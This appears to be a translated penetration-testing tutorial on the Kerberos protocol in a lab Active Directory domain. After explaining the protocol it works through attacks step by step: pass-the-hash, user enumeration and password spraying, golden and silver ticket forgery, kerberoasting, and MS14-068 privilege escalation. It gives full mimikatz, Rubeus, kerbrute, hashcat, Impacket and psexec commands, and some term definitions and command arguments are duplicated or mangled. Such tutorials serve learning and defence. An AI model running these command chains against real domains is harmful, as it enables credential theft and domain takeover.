毅种循环

Environment#

Currently, there are two machines in the environment:
One is Windows 2008, with IP 192.168.1.3, a member of the domain redream.
..........................................
‍
The second is Windows 2016, which is the domain controller. Its IP is 192.168.1.2.

‍

‍

Kerberos Protocol#

The Kerberos protocol is a computer network authentication protocol designed to provide secure authentication for personal communications over insecure networks. Its design goal is to provide strong authentication services for client and server applications through a key system. The implementation of the authentication process in this protocol does not rely on the authentication of the host operating system, does not require trust based on host addresses, does not require physical security of all hosts on the network, and assumes that packets transmitted over the network can be read, modified, and injected by anyone. In these cases, Kerberos acts as a trusted third-party authentication service, executing authentication services through traditional cryptographic techniques (such as shared keys). The Kerberos protocol is crucial in the internal network domain penetration field, with silver tickets, golden tickets, and attacks on domain controllers all relying on the Kerberos protocol.
To help you better understand the subsequent explanations of the authentication principles, you need to first understand the following key roles:

‍

Explanation of Kerberos Concept Terms#

‍
(1) Client: The client machine accessing the service (2) Server: The server providing the service (3) KDC (Key Distribution Center): The key distribution center (4) KDC is divided into two parts: Authentication Service and Ticket Granting Service. Authentication Service (AS): The role of AS is to verify the identity of the client. After verification, AS will give the TGT ticket (Ticket Granting Ticket) to the client. Ticket-granting cookie (TGC): A cookie that stores the user's authentication credentials, used during communication between the browser and the CAS Server, serving as a credential for the CAS Server to identify the user. TGT encapsulates the TGC value and the user information corresponding to this cookie value. Ticket-granting ticket (TGT): The ID of the TGT object is the value of TGC, which can be queried on the server side through TGC. Ticket Granting Service (TGS): The role of TGS is to exchange the TGT sent by AS to the client for the ST (Service Ticket) to access the server. Server Ticket (ST): The ST service ticket is issued by the TGS service. (5) Active Directory (AD): Active Directory (6) Domain Controller (DC): Domain Controller (7) Ticket-granting cookie (TGC): A cookie that stores the user's authentication credentials, used during communication between the browser and the CAS Server, serving as a credential for the CAS Server to identify the user. TGT encapsulates the TGC value and the user information corresponding to this cookie value. (8) Ticket-granting ticket (TGT): The ID of the TGT object is the value of TGC, which can be queried on the server side through TGC.
For example: When whoami wants to communicate with bunny, whoami needs to prove to bunny that he is whoami. The direct way is for whoami to use the secret between the two to encrypt plaintext text into ciphertext, sending both the ciphertext and plaintext text to bunny. Bunny then uses the secret to decrypt and obtain the plaintext, comparing it with the plaintext text. If they match, it proves that the other party is whoami.
However, on the network, ciphertext and text are likely to be intercepted, and given enough time, the key can always be cracked. Therefore, this long-term effective key cannot be used; it should be changed to a short-term temporary key. This temporary key requires a trusted third-party institution to provide it, namely the KDC (Key Distribution Center).
The process of Kerberos authentication can be metaphorically described as follows:
During the pandemic, Xiao Ming goes to pick up an important package. Since the package is from overseas, strict registration is required: (1) When picking up the package, to prove he is a legitimate citizen, Xiao Ming first shows his ID to the staff. (2) The identity authentication system at the courier point verifies his identity and gives Xiao Ming a proof of successful identity authentication. (3) Xiao Ming takes the proof of successful identity authentication to the courier collection point to wait for a number to pick up the package. (4) The ticket office gives him a number. (5) Xiao Ming takes the number to pick up the package. (6) When picking up the package, Xiao Ming presents his identity authentication materials to the staff at the courier point, who sends a message to the courier company's data management center to check if Xiao Ming has a package to collect. (7) The data management center sends Xiao Ming's package tracking number and identity information. (8) The staff compares the information from the data management center with the materials provided by Xiao Ming, concluding that Xiao Ming is a good citizen with an important package, and takes him to the warehouse's vault to give him the package containing the old wand.
In the Kerberos protocol authentication process, two basic authentication modules are used: AS_REQ & AS_REP and TGS_REQ & TGS_REP, as well as two authentication modules that may be used during the authentication process, S4U and PAC.

Kerberos Authentication Issues#

As mentioned above, the implementation of the Kerberos protocol requires the participation of three parties, as follows:
‍

1. Client: The client machine accessing the service 2. Server: The server providing the service 3. KDC (Key Distribution Center): The key distribution center KDC service is installed by default in a domain's domain controller, so it can be directly understood that both AD and KDC are domain controllers. The KDC service framework includes a KRBTGT account, which is an account automatically created by the system when the domain is created.
   ‍

Kerberos Authentication Protocol Principle Flow#

The Kerberos authentication process is shown in the figure below.

‍
Now let's discuss the detailed authentication steps, which can be roughly divided into three stages:

• AS_REQ & AS_REP
• TGS_REQ & TGS_REP
• AP-REQ & AP-REP

‍
Among them: KDC has AS authentication service and TGS authentication service.

1. The client requests a TGT ticket from the KDC's AS authentication service, which is the AS_REQ process.
2. After authentication, the TGT is returned to the client, and the client obtains the TGT (Ticket Granting Ticket) issued by the KDC. This is the AS_REP process.
3. The client continues to use the TGT ticket to request the DC to access the server. The TGS requests the service ticket (ST) from the client message's TGT ticket. This is the TGS_REQ process.
4. After the client passes the TGS authentication service, the TGS will issue the ST service ticket to the client. This is the TGS_REP process.
5. After obtaining the ST ticket, the client requests the service from the server. This is the AP-REQ process.
6. The server obtains the PAC and asks the KDC whether the client has permission to access the resource.
7. The KDC sends the client's permission information to the server.
8. The server compares the permission information returned by the KDC to determine whether the client has permission to access the service and returns the result to the client. This is the AP_REP process.

Note: Steps (6) and (7) may not necessarily occur; the target host needs to be configured to verify KDC PAC verification.

‍
Each user's Ticket in the domain is calculated and generated using the krbtgt password hash, so as long as we obtain the krbtgt password hash, we can forge tickets at will, and use tickets to log in to the domain controller. Tickets generated using the krbtgt user hash are called Golden Tickets, and this type of attack method is called ticket-granting attack.
‍

AS_REQ & AS_REP Analysis#

‍
Analysis of AS-REQ Data Packet
AS-REQ: When a domain user attempts to access a service in the domain, they enter their username and password. The local Kerberos service sends an AS-REQ authentication request to the KDC's AS authentication service. This request packet contains: requested username, client hostname, encryption type, and Authenticator (timestamp encrypted with the user's NTLM hash) along with some information.
The client initiates the AS_REQ request to the KDC with credentials that are the user's hash-encrypted timestamp. The requested credentials are placed in PA_DATA.
Here, we directly capture packets to let the domain machine user1 log in using the user test.
‍

1. AS-REQ#

‍
After obtaining the username, AS retrieves the corresponding NTLM value, encrypts the data information using encryption methods, verifies the timestamp, and then generates a random string Session Key. The Session Key is encrypted using the user's NTLM value, and the Session Key and client information are encrypted using the krbtgt user's NTLM. This is returned to the client.
Send=user_NTML_Hash(Session Key)+krbtgt_NTML_Hash(Session Key+client_info1)[TGT]
AS-REQ has two types of packets:
One does not have the pA-ENC-TIMESTAMP field, and the other has a password field in front.

‍

2. Different AS-REQ Packets#

‍

Packet with Correct Username and Password#

AS-REP: The client sends AS_REQ, with the requested credentials being the user's hash-encrypted timestamp. The requested credentials are placed in PA_DATA. When the AS authentication service in the KDC receives it, it has the user's hash in the AS server, uses the user's hash to decrypt, and obtains the timestamp. If the decryption is successful and the timestamp is within five minutes, then the pre-authentication is successful. The AS authentication service will then send a response packet to the client, which includes the TGT ticket encrypted with the NTLM hash of the krbtgt user and the Login Session Key encrypted with the user's NTLM hash and other information.
The enc-part in the ticket is generated by encrypting with the krbtgt password hash. If we have the krbtgt hash, we can create our own ticket and launch a golden ticket attack. The Login Session Key is encrypted with the user's NTLM hash, serving to ensure secure communication between the client and KDC in the next phase, acting as the authentication key for the next phase.
‍
In this phase, the interaction between the client and KDC is mainly for obtaining the TGT authentication ticket and the Login Session Key. After this phase, the client will use its own password's NTLM hash to decrypt the Login Session Key to obtain the original Login Session Key. It will then cache the TGT ticket and the original Login Session Key locally.
‍

Packet with Incorrect Username#

‍

Packet with Correct Username#

‍
‍

Packet with Incorrect Password#

‍

Attack Surface of AS-REQ Process#

From the above packet capture analysis, we can conclude:

1. HASH Passing
2. Enumeration of Domain Users
3. Password Spraying

HASH Passing Attack Method#

In the AS-REQ phase, the Authenticator is encrypted with the user's password hash, which leads to hash passing.

Mimikatz for Hash Passing

Here, mimikatz obtains the hash and exports it to the log file with the following command:
mimikatz log privilege::debug sekurlsa::ekeys
‍

‍
Capture the NTLM hash of the administrator.
‍
privilege::debug sekurlsa::logonpasswords
‍

‍

Execute Passing

‍
sekurlsa::pth /user /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c

‍

Passing Method for KB2871997 Patch

After installing the KB2871997 patch, only administrator accounts can perform pass hash.

PTK (Pass the Key)

Obtain aes-key:
privilege::debug sekurlsa::ekeys

Inject aes-key:
sekurlsa::pth /user /domain.com /aes256

‍
‍

Enumeration of Domain Users#

The cname value of AS-REQ returns an error prompt when the user does not exist, leading to this attack method.

Attack Method

Using the kerbrute tool:
https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe
The prerequisite is that the DC needs to have the Kerberos 88 port open.

Use the following command:
kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt
user.txt is the username dictionary.

Successfully enumerated usernames.

Principle:

The principle of using kerbrute for error enumeration is that Kerberos has three error codes:
KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required (enabled)
KDC_ERR_CLIENT_REVOKED - Client credentials have been revoked (disabled)
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in the Kerberos database (does not exist)
In the DC packet capture, there are 4 UNKNOWNs and 1 REQUIRED, proving that this username exists.

‍
‍

Password Spraying#

Moreover, when the username exists, the response packets differ between correct and incorrect passwords, allowing for username and password brute-forcing. This type of automated password guessing against all users is usually to avoid account lockout, as consecutive password guesses against the same user will lead to account lockout. Therefore, only executing specific password login attempts against all users simultaneously can increase the probability of cracking while eliminating the risk of account lockout.
Use the following command:
kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519..

‍

Principle:#

There are also three error codes for passwords:
KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required (enabled)
KDC_ERR_CLIENT_REVOKED - Client credentials have been revoked (disabled)
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in the Kerberos database (does not exist)
Similarly, in the DC packet capture, there are 4 UNKNOWNs and 1 REQUIRED.


‍
‍
‍

AS-REP Data Packet#

AS-REP: The client sends AS_REQ, with the requested credentials being the user's hash-encrypted timestamp. The requested credentials are placed in PA_DATA. When the AS authentication service in the KDC receives it, it has the user's hash in the AS server, uses the user's hash to decrypt, and obtains the timestamp. If the decryption is successful and the timestamp is within five minutes, then the pre-authentication is successful. The AS authentication service will then send a response packet to the client, which includes the TGT ticket encrypted with the NTLM hash of the krbtgt user and the Login Session Key encrypted with the user's NTLM hash and other information.

The enc-part in the ticket is generated by encrypting with the krbtgt password hash. If we have the krbtgt hash, we can create our own ticket and launch a golden ticket attack.
The Login Session Key is encrypted with the user's NTLM hash, serving to ensure secure communication between the client and KDC in the next phase, acting as the authentication key for the next phase.
The most important field in the enc-part is the Login Session Key, which serves as the authentication key for the next phase. The core elements in AS-REP are the Login Session Key and the encrypted ticket. Normally, the credentials generated by tools have the suffix .ccache and .kirbi, while credentials generated by mimikatz, kekeo, and rubeus have the suffix .kirbi, and those generated by impacket have the suffix .ccache. Both types of tickets mainly contain the Login Session Key and the encrypted ticket, so they can be converted into each other.
‍

Attack Surface of AS-REP#

Golden Ticket#

In the AS-REP phase, since the returned TGT subscription certificate is encrypted with the krbtgt user's password hash, if we have the krbtgt hash, we can create our own TGT subscription certificate, leading to a golden ticket attack.
Conditions for forging a golden ticket:
To forge a credential, we need the following information:

• Domain name
• Domain SID value
• Hash of the domain's KRBTGT account
• Forged domain administrator username

‍

Golden Ticket Attack Practice#

Collect Domain Information

netconfig workstation

‍
You can obtain the domain as redteam.com, and the username is YG1.
Obtaining the domain controller's IP is also simple; just ping it, or use:
nltest /dsgetdc name
nltest /dsgetdc.com

The domain controller's IP is obtained as 192.168.1.2.

Export HASH

privilege::debug lsadump::dcsync /domain.com /all /csv
Use administrative privileges to export the user's krbtgt hash with mimikatz.exe.

fb2227f9e9e6c9ad490eb1c2fa6a8625

Collect Krbtgt SID Information

lsadump::dcsync /domain.com /user or wmic useraccount get name,sid

S-1-5-21-767623950-3225260823-3670188588
After obtaining the SID and HASH, we can forge tickets. Before forging, let's check if there are cached tickets.
klist /view tickets

klist purge /clear tickets or mimikatz kerberos::purge

‍

Use Mimikatz to Generate Golden Ticket

mimikatz.exe "kerberos::golden /user /domain.com /sid /krbtgt /ticket.kirbi" exit /admin: forged username (any) /domain: domain name /sid: sid value, note to remove the last value - the value after it /krbtgt: krbtgt hash value /ticket: name of the generated ticket
Or
kerberos::golden /user /domain.com /sid /krbtgt /ptt #generate ticket and import

‍
After obtaining the ticket, use a domain user to test whether the ticket can be used normally.
‍

View Imported Ticket

kerberos::purge kerberos::ptt ticket.kirbi

‍

Query C Drive Directory of DC Machine

dir \dc.redteam.com\c$ dir \computer name.domain name\c$

‍
The DC's firewall intercepted IPC, so access was unsuccessful. After turning it off, it worked normally, thus successfully utilizing the golden ticket.
‍

TGS_REQ & TGS_REP Analysis#

The client and TGS authentication use the TGS_REQ & TGS_REP module.
‍
‍
After the client obtains the TGT and Login Session Key, the next authentication interaction is with the TGS authentication service in the KDC, mainly to obtain the ST service ticket, because when the client needs to access a certain service on a server, it requires a "ticket" -- ST service ticket.
In this stage, Microsoft introduced two extensions: S4U2SELF and S4U2PROXY.

TGS-REQ Data Packet Analysis#

The main content of this packet includes: client information, Authenticator (timestamp encrypted with the Login Session Key), TGT authentication certificate (ticket under ap-req in padata), and the name of the service to be accessed, etc.

padata part:

In the padata, there is a very important part called AP-REQ, which is required data in TGS-REQ. This part carries the TGT ticket obtained in AS-REP. KDC verifies the TGT ticket, and if the ticket is correct, it returns the ST ticket.

‍

The authenticator in the TGS-REQ request packet is the timestamp encrypted with the Login Session Key returned in the AS-REP response packet.
In the req-body

padding:0 kdc-options: used to agree on some option settings with KDC realm: domain name sname: this is the service to be requested till: expiration time rebeus and kekeo are both 20370913024805Z, which can be used as feature values for verification nonce: random number generated kekeo/mimikatz's nonce is 12381973, rubeus's nonce is 1818848256, which can be used as feature values for verification use etype: encryption type

TGS-REP Data Packet Analysis#

TGS-REP: When TGS receives the request, it checks whether the service requested by the client exists. If the service exists, it decrypts the TGT using the NTLM hash of the krbtgt user and obtains the Login Session Key, and then decrypts the Authenticator using the Login Session Key.

‍
If this series of decryptions is successful, it will verify the identity of the other party, check whether the timestamp is within range, and check whether the timestamp in TG has expired, and whether the original address is the same as the address saved in the TGT.
After completing the authentication, TGS generates the ST ticket (including client information and the original Server Session Key, the entire ST service ticket is encrypted using the service's NTLM hash and an AS-REP returned Login-Session-Key encrypted Server Session Key (which is the outermost enc-part). It will also generate the ST service ticket for the client. These two will be sent to the client in the response packet.

The ST service ticket mainly contains two aspects: client user information and the original Service Session Key, and the entire ST service ticket is encrypted using the service's NTLM hash. Finally, the Service Session Key and ST service ticket are sent to the client.
PS: At this step, regardless of whether the user has permission to access the service, as long as the TGT decryption is correct, the ST service ticket will be returned. Any user, as long as the hash is correct, can request a ticket for any service in the domain, which is also the reason why kerberoasting can be exploited.
The enc-part: This part is encrypted with the password hash of the requested service. Therefore, if we have the password hash of the service, we can create our own ST service ticket, leading to a silver ticket attack. Because this ticket is encrypted with the password hash of the requested service, when we obtain the ST service ticket, we can attempt to brute-force the enc_part to obtain the password hash of the service. This also leads to kerberoast attacks.

Attack Surface of TGS-REP#

1. Kerberoast Attack

Concept: This is the process by which an attacker attempts to crack and rewrite Kerberos service tickets to gain access to the target service. This is a very common attack method among red teams because it does not require interaction with the target service and can use legitimate Active Directory access to request and export service tickets that can be cracked offline to obtain the final plaintext password. The reason this occurs is that service tickets are encrypted using the service account's hash (NTLM), so any domain user can dump the hashes from the service without needing to introduce a shell into the system running that service.
‍
Attackers typically choose tickets that may have weak passwords set, which have a higher success rate for cracking. Once an attacker successfully cracks a ticket, they may not only gain access to the service but if the service is configured to run with high privileges, the entire domain may be compromised. These tickets can be identified by considering various factors, such as:
SPNs bound to domain user accounts
Last password set (Password last set)
Password expiration time
Last login (Last logon)
Specifically, the Kerberoast attack involves the following five steps:
Service Principal Name (SPN) Discovery
Requesting service tickets
Exporting service tickets
Cracking service tickets
Rewriting service tickets & RAM injection
‍
Principle:

• Knowing the relevant service's SPN, a user can apply for an ST ticket using the SPN. In the fourth step of the Kerberos protocol, the user receives an ST ticket generated by encrypting with the server instance's NTLM hash, using the RC4-HMAC-MD5 encryption algorithm, attempting to exhaustively crack the hash by simulating the encryption process (note the difference from silver tickets).
• Any domain user can legitimately extract service account credentials from AD without needing to interact with the target service, and most operations are completed offline without triggering alerts.
• Service account passwords that have not been set to expire, or that are the same as regular domain user passwords, and accounts with excessive permissions are all issues.
• Domain users with Read servicePrincipalName and Write serverPrincipalName rights have the authority to register SPNs.

Process:

1. Find valuable SPNs (conditions to meet: the SPN is registered under a domain user account and the domain user account has high permissions)
2. Request TGS
3. Export ST
4. Brute-force cracking
5. Service ticket rewriting
6. Permission maintenance

Since SPN was not understood earlier, let's first understand SPN and then return to practice.

SPN#

Concept:
SPN, short for Service Principal Names, is the unique identifier for services in the domain. Each Kerberos service must have an SPN, and when a service joins the domain, an SPN is automatically registered. If SPN registration fails or is not unique, the Windows security layer cannot determine the account associated with the SPN, and thus cannot use Kerberos authentication.
Format:
The format of SPN is: /:/, where service class and host are required parameters.

• service class is the service type name; you can use any name except for "/" (as SPN uses it as a separator), just ensure it is unique. However, it is generally recommended to use common names like "www", "ldap", etc.
• host is the hostname running the service, which can be a DNS name (e.g., os.hacker.com) or a NetBIOS name (e.g., os), but note that NetBIOS names may not be unique within the forest, leading to SPN registration failures.
• host is an optional parameter used to distinguish the same service running on the same host. This can be omitted when the service only uses the default port (e.g., 80).
• service name is the service instance name, which is not very important. Microsoft has an example: MyDBService/host1/CN=hrdb,OU=mktg,DC=example,DC=com.

An example of an SPN naming instance: MySQLSvc/os.hacker.com:3306 or MySQLSvc/hacker, etc.
Classification:

• When a service's permissions are Local System or Network Service, the SPN is automatically registered under the machine account.
• When a service's permissions are a domain user, the SPN needs to be manually registered under the domain user account.

Verification:
In the third step of Kerberos verification, the client sends the TGT along with the SPN of the service to be accessed to the TGS; in the fourth step, the TGS queries the service records corresponding to the SPN, finds the service, starts verifying the TGT, and finally generates the ST ticket for the corresponding SPN service.
‍

Query SPN#

Initiate an LDAP query to the domain controller; this is part of the normal Kerberos ticket behavior, making the SPN query operation difficult to detect.

Using SetSPN#

Tools included with Win7 and Windows Server 2008
View all SPNs in the current domain:
‍
setspn.exe -q /

View all SPNs in the redteam.com domain:
setspn.exe -T redteam.com -q /

‍

Prerequisites for Implementing Kerberoasting Attack#

• For the TGS_REPLY returned during the Kerberos protocol authentication process, we can attempt to exhaustively crack the password under the premise of knowing the encryption algorithm. (Service passwords are generally set to weak passwords by default)
• Windows systems obtain the correspondence between services and service instance accounts through SPN queries.
• All hosts in the domain can query SPNs.
• Any user in the domain can request TGS from any service in the domain.

‍

Apply for ST Ticket#

Earlier, we mentioned finding valuable SPN services. So what is valuable?
Can connect remotely, high permissions, because computer domain accounts cannot connect remotely, so our targets are generally domain users.
Using the Rubeus tool
https://github.com/GhostPack/Rubeus
This is a toolkit specifically for Kerberos.
#Requires .NET environment Rubeus.exe kerberoast

Save the hash as hash.txt and place it in the hashcat directory. Use the command:
‍
hashcat64.exe -m 13100 hash.txt pass.txt

Use PowerShell Command to Request

Use the Microsoft-provided KerberosRequestorSecurityToken class to initiate a Kerberos request for the ST ticket of the specified SPN. The requested ticket will be stored in memory and can be viewed using the klist command.
#Request service ticket Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN name" #New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/WIN-7.bean.testlab:1433" #List service tickets klist

Use Mimikatz to Request

Request the ST ticket for the specified SPN.
#Request service ticket kerberos::ask /target/WIN-7.bean.testlab:1433 #List service tickets kerberos::list #Clear all tickets kerberos::purge

Use GetUserSPNs in Impacket to Request

You need to provide the domain account password to use this script, which will directly output the hashcat format of the service ticket, allowing direct use of hashcat for cracking.
#GetUserSPNs.exe -request -dc-ip x.x.x.x domain name/domain user GetUserSPNs.exe -request -dc-ip 172.16.1.1 bean.testlab/test > r.txt

Export Service Tickets#

You can use some commands to view the ticket list:
#cmd klist #mimikatz mimikatz.exe "kerberos::list" #MSF load kiwi kerberos_ticket_list or load kiwi kiwi_cmd kerberos::lists
Export:
#mimikatz export with .kirbi suffix mimikatz.exe "kerberos::list /export" "exit" #Invoke-Kerberoast.ps1 under Empire powershell.exe -exec bypass -Command "& {Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat}"

Brute Force#

tgsrepcrack.py
The tgsrepcrack.py in the kerberoast toolkit can directly crack the .kirbi file exported by mimikatz.
python tgsrepcrack.py pass.txt xx.kirbi

‍
tgscrack
Download link: tgscrack
python2 extractServiceTicketParts.py xxx.kirbi > hash.txt go run tgscrack.go -hashfile hash.txt -wordlist pass.txt

‍
hashcat
The several methods of exporting hashes mentioned earlier can all be used with hashcat for cracking.
hashcat.exe -m 13100 hash.txt pass.txt

Image

Service Ticket Rewriting & RAM Injection

The ST ticket is signed with the NTLM hash of the service password. If the ticket hash has been cracked, the Kerberoast Python script can be used to rewrite the ticket. This will allow simulating any domain user or forging accounts when accessing the service. Additionally, privilege escalation is also possible, as users can be added to high privilege groups such as domain administrators.
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
Use the following Mimikatz command to re-inject the new ticket into memory for authentication against the target service via the Kerberos protocol.
kerberos::ptt PENTESTLAB.kirbi

References

Domain Penetration - SPN
‍

Silver Ticket#

In the TGS-REP phase, the enc-part of the ticket in TGS_REP is encrypted using the hash of the service. If we have the hash of the service, we can issue any user's TGS ticket for ourselves, which is also known as a silver ticket. Compared to golden tickets, silver tickets use the hash of the service to be accessed instead of the krbtgt hash. Since the generated TGS ticket does not need to interact with the domain controller, it can bypass the domain controller and leave few logs. Golden tickets, on the other hand, are issued by the KDC and during the generation of the forged TGT, the TGS will not verify the authenticity of that TGT for 20 minutes. If golden tickets are forged TGTs, then silver tickets are forged STs, so we only need to know the hash of the server user to forge an ST, and it will not go through the KDC. However, silver tickets can only access specific services. It is important to note that forged silver tickets do not carry a valid KDC-signed PAC. If the target host is configured to verify KDC PAC signatures, then the silver ticket will not work.

Characteristics of Silver Tickets#

1. Silver tickets are valid Ticket Granting Service (TGS) Kerberos tickets because every server running the Kerberos validation service encrypts and signs the service principal name's service account.
2. Golden tickets are forged TGTs that can obtain access to any Kerberos service, while silver tickets are forged TGS. This means silver tickets are limited to any service on a specific server.
3. Most services do not verify PAC (by sending the PAC checksum to the domain controller for PAC verification), so valid TGS generated using the service account password hash can completely forge PAC.
4. Attackers need the service account password hash.
5. TGS is forged, so there is no communication with TGT, meaning DC is not verified.
6. Any event logs are on the target server.

Differences Between Silver Tickets and Golden Tickets

• Different permissions obtained
  Golden Ticket: Forged TGT, can obtain any Kerberos access permissions.
  Silver Ticket: Forged ST, can only access specific services, such as CIFS.
• Different authentication processes
  Golden Ticket: Interacts with KDC, but not with AS.
  Silver Ticket: Does not interact with KDC, directly accesses Server.
• Different encryption methods
  Golden Ticket: Encrypted by krbtgt NTLM Hash.
  Silver Ticket: Encrypted by service account NTLM Hash.

Silver Ticket Practice

To forge credentials, we need the following information:

• The domain user to be forged (any user or a non-existent user, generally we fill in the domain administrator account here)
• Domain name
• Domain SID value (which is the domain member SID value without the last section)
• The FQDN (Fully Qualified Domain Name) of the target service (FQDN: the name that includes both the hostname and the domain name, e.g., dc.bean.testlab)
• Usable service
• Domain service account NTLM hash
• Only KDC can create and view PAC.

List of Services for Silver Tickets#

Service Name Required Services WMI HOST、RPCSS PowerShell Remoting HOST、HTTP WinRM HOST、HTTP Scheduled Tasks HOST Windows File Share CIFS LDAP LDAP Windows Remote Server RPCSS、LDAP、CIFS
In addition to the above, the target machine cannot enable PAC (Privilege Attribute Certificate) verification. PAC is used during the authentication phase between the client and server for authentication and carries a signature. If there is no krbtgt hash and service hash, it is impossible to forge a valid signature. (MS14-068 can be bypassed)
#Execute under domain controller mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt #You can also use dcsync to execute under the domain admin account on other machines, filling in the domain controller's machine name mimikatz.exe "privilege::debug" "lsadump::dcsync /domain.testlab /user$" "exit" > 1.txt

e49051446e697bb3f91bac430da93c3e
S-1-5-21-767623950-3225260823-3670188588

Forging CIFS#

Forging CIFS permissions, CIFS is commonly used for file sharing between hosts.
#mimikatz.exe "kerberos::golden /domain name /sid SID /target FQDN /service type /rc4 /user username /ptt" mimikatz.exe ”kerberos::golden /domain.com /sid /target.redteam.com /service /rc4 /user /ptt“ * /domain: domain name * /sid: sid value * /target: fully qualified domain name of the domain controller * /service: specify the relevant service name, here it is cifs * /rc4: NTLM hash of the domain controller's computer account * /user: forged username, can be written arbitrarily dir \dc\c$

Successfully accessed DC.
‍
‍
‍

Attack Methods at Each Stage of the Kerberos Protocol#

Image
‍

MS14-068 Domain Privilege Escalation#

1. Vulnerability Description
This vulnerability may allow an attacker to escalate the permissions of unauthorized domain user accounts to domain administrator permissions. Microsoft official explanation: https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068
2. Vulnerability Principle
Kerberos authentication principle: https://www.cnblogs.com/huamingao/p/7267423.html Service tickets are sent directly from the client to the server, requesting service resources. If the server does not verify the PAC with the domain controller (DC), then the client can forge domain admin permissions to access the server.
3. Prerequisites for Exploiting the Vulnerability

1. The domain controller has not patched MS14-068.
2. The attacker has compromised a regular computer in the domain and obtained the password/hash value of a regular domain user, as well as the user's SUID.
   4. Tool Downloads
   Ms14-068.exe download link: https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
   PSexec download link: https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
   Mimikatz download link: https://github.com/gentilkiwi/mimikatz/releases
   ‍
   5. Exploiting the Vulnerability
   If the current user is a domain user,
   You can directly use whoami /user to obtain the SID.
   
   If not, just a local user, you can use mimikatz to capture the local domain user's password.
   Remember that mimikatz needs administrative privileges; otherwise, it cannot capture memory passwords, and it can be run with administrative privileges.
   

Use the ms14-068.exe tool to generate forged Kerberos protocol authentication certificates#

MS14-068.exe -u @ -p -s -d
ms-14-068.exe -u domain user@domain controller name -p domain user password -s domain user sid -d domain IP

Use mimikatz.exe to write the certificate, thereby escalating to domain administrator.
kerberos::ptc your certificate name
kerberos::ptc TGT_zhangsan@ggyao.com.ccache
After writing successfully, successfully dir the C drive of the domain controller.

‍

Use psexec.exe to obtain an interactive shell#

psexec.exe \WIN-2008-DC.ggyao.com cmd

‍
psexec executes a single command:
psexec.exe \WIN-2008-DC.ggyao.com cmd /c “ipconfig”

‍

Method 2: goldenPac.exe (recommended)#

(https://github.com/maaaaz/impacket-examples-windows)
This tool is part of the impacket toolkit and is a combination of MS14-068 and psexec, making it very convenient and quick to use.
goldenPac.exe ggyao.com/zhangsan@WIN-2008-DC.ggyao.com

‍

Method 3: kekeo.exe#

(https://github.com/gentilkiwi/kekeo/releases)
Obtain domain controller permissions through kekeo.exe; this tool does not always succeed in exploitation.
kekeo.exe “exploit::ms14068 /domain.com /user /password /ptt” “exit”

‍

Notes#

1. The machine forging tickets does not necessarily need to be in the domain; just point the DNS to the domain controller, and it can resolve.
2. IPC$ access to the domain controller requires using the hostname, not the IP.
   ‍

Vulnerability Principle:#

The key point of this issue lies in the PAC (Privilege Attribute Certificate: verifying the permissions a user possesses).
Let’s briefly review the Kerberos authentication process:

• Domain users log in and send a timestamp encrypted with their password to the KDC's AS service for pre-authentication.
• The AS service of the DC verifies whether the user's password is correct. If correct, it returns a TGT ticket, which is encrypted with the krbtgt password.
• Domain users use the TGT ticket to request a ticket to access a certain Server service from the KDC's TGS service.
• The TGS service of the domain controller verifies the TGT and returns a ticket (ST, TGS Ticket) that the domain user can use to access the Server service.
• The domain user uses the ST to access the corresponding Server service.
• The Server service verifies the ST and decides whether to allow the domain user access.

Among them, the PAC is by default included in the TGT;
Under normal circumstances, if include-pac is set to true in the AS_REQ request, as long as the AS service passes the domain user's authentication, the PAC information will be added to the TGT returned in the AS_REP data packet.
However, if include-pac is set to false in the AS_REQ request, the TGT returned in AS_REP will not contain PAC information.
Thus, when the TGT returned in AS_REP does not have PAC information, the domain user can forge a "malicious" PAC to place in the TGS_REQ, and the KDC will decrypt the PAC and re-encrypt it into a new TGT and return it to the domain user. At this point, the TGT will carry the "malicious" PAC, achieving the purpose of exploiting the vulnerability.